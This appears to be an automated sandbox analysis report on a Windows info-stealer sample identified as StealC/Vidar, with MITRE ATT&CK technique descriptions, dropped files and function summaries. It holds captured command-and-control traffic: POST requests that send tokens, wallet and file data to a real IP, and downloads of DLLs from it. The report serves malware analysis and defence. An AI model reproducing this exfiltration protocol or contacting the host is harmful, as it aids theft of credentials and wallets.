Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="file"------BFHJECAAAFHIJKFIJEGC--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDHHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEGDAEHIEHIDHJDAAKHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 2d 2d 0d 0a Data Ascii: ------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="message"wallets------CFIEGDAEHIEHIDHJDAAK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDGHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 2d 2d 0d 0a Data Ascii: ------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="message"files------CBFIIEHJDBKJKECBFHDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file"------IDHIEGIIIECAKEBFBAAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"ybncbhylepme------FHIECBAFBFHIJKFIJDAK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIIECAAKECFHIECBKJDH--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHJECAAAFHIJKFIJEGC

C:\ProgramData\BGCAFHCAKFBFIECAFIIJ

C:\ProgramData\CFIEGDAEHIEHIDHJDAAKKEHCAF

C:\ProgramData\DAFBGHCAKKFCAKEBKJKKFBAFCB

C:\ProgramData\EBKEHJJD

C:\ProgramData\GHIDGDHCGCBAKFHIIIII

C:\ProgramData\JDAKJJDBGCAKKFHIJEGHCGHJKJ

C:\ProgramData\JKFHIIEHIEGDHJJJKFIIIIDGID

C:\ProgramData\KFIDBAFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00D39860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00D245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 6C6535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Function 00D2BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00D34910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00D24880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00D39C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00D27710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre